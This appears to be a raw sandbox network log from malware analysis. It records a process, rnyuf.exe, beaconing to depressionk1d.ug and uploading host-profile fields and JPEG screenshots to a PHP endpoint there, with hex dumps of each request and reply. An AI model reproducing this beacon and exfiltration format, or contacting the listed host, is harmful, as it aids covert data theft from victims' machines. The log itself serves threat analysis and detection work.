Nov 12, 2021 22:24:02.974900961 CET	10136	OUT	Data Raw: 97 a3 cb 25 9f 95 a6 eb da 83 6a 2a d3 db 5a d9 48 86 68 ad d5 8a 6f 7c 44 db 98 95 63 b4 05 00 01 96 39 c8 ca d3 7c 49 a8 e9 10 df 18 59 e6 bc bd b9 86 e2 4b 99 9f 7e fd 82 40 ca e0 83 bc 38 90 83 93 d3 3d 73 57 a0 f1 3e 9d 15 f6 9f 70 de 1f 9c Data Ascii: %jZHho\|Dc9\|IYK~@8=sW>p_3OXo<F9b1$<V_#_5vE:59[p-fh8QqtAipD+7LgVQo4ZG*EqG\|&Z3<#+F2]"
Nov 12, 2021 22:24:02.974941969 CET	10146	OUT	Data Raw: 47 59 00 45 4d e8 a4 38 23 09 8c a9 f9 54 1e 32 ad 52 71 95 a3 fd 7f 4b fa d4 d2 95 38 c9 5d ff 00 5f d7 f5 b1 49 3c 31 2c 97 13 03 a9 e9 e9 67 1d 9f db 45 f1 69 4c 2f 16 f0 87 1b 50 be 43 36 08 2a 08 c1 cd 36 4f 09 ea 6b 2d c4 70 18 2e 9a 29 2d Data Ascii: GYEM8#T2RqK8]_I<1,gEiL/PC66Ok-p.)-<'<l~!4e$-FB$;TpJ\{CRh0qhn5-wm3Zyiulndf!Y{7M=
Nov 12, 2021 22:24:02.974955082 CET	10148	OUT	Data Raw: bd f1 0c 9a ce 87 aa d8 e9 31 e8 86 0b 2b 39 54 db 48 20 49 e1 00 2b 3a 11 bb 27 73 1d a7 25 8f ad 56 d2 35 2d 23 4a f0 ce 97 ab 31 d4 a1 4b 3d 76 79 ed 2d a3 d9 2b 4a 44 30 90 92 4b 94 da a7 80 48 43 c1 3c 54 fb 67 6b ff 00 5a bb 0f d9 2b ff 00 Data Ascii: 1+9TH I+:'s%V5-#J1K=vy-+JD0KHC<TgkZ+]Ut]U\|t7b^:I<mk8{u21.@p2G'WZStwEg* a,).NJEh<C))7c;zqO_O/Ec{_;.$wyF9
Nov 12, 2021 22:24:02.974962950 CET	10152	OUT	Data Raw: 34 fe b0 fb 69 7b 7e 2f fe 1f fe 18 1e 1d 5e d7 fe bf ad 3d 4e 7e 2d 1b 55 9a c1 6f e2 d2 ef a4 b3 66 08 b7 09 6e e6 32 c4 ed 00 30 18 ce 78 c7 af 15 0c 76 37 93 cc f0 c3 69 71 24 a8 c1 1e 34 89 8b 2b 16 0a 01 00 64 12 c4 0c 7a 9c 56 ef 8a b4 dd Data Ascii: 4i{~/^=N~-Uofn20xv7iq$4+dzVrMf]o4Ffr3[lqx[RSR=+]v/CIa.usFXzqU5'4/."{6FUf<x:j:h%i
Nov 12, 2021 22:24:03.041726112 CET	10196	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:03 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.4	50023	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:03.058553934 CET	10196	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:03.085665941 CET	10197	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.4	50025	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:03.240451097 CET	10198	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:03.268760920 CET	10199	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.4	50026	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:03.425555944 CET	10202	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:03.451467991 CET	10202	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.4	50028	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:03.590533018 CET	10204	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:03.618005037 CET	10206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.4	50030	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:03.764974117 CET	10207	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:03.792697906 CET	10208	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.4	50032	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:03.936434984 CET	10210	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:03.962680101 CET	10210	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.4	50033	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:04.096788883 CET	10213	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:04.123820066 CET	10213	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.4	50035	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:04.249775887 CET	10214	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:04.249984980 CET	10215	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:04.250269890 CET	10225	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:04.250427008 CET	10227	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:04.272608995 CET	10232	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:04.272665977 CET	10235	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:04.272696018 CET	10237	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:04.272702932 CET	10240	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:04.272710085 CET	10243	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:04.272716045 CET	10248	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:04.272723913 CET	10251	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:04.343017101 CET	10327	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:04 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49805	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:21.728152990 CET	2873	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:21.728244066 CET	2873	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:21.728414059 CET	2883	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:21.728490114 CET	2885	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:21.751025915 CET	2891	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:21.751076937 CET	2897	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:21.751107931 CET	2908	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:21.751137972 CET	2911	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:21.773627043 CET	2914	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:21.773667097 CET	2920	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:21.773684978 CET	2925	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:23:21.822199106 CET	2982	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:21 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.4	50036	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:04.262406111 CET	10229	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:04.288937092 CET	10255	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.4	50038	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:04.418118000 CET	10328	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
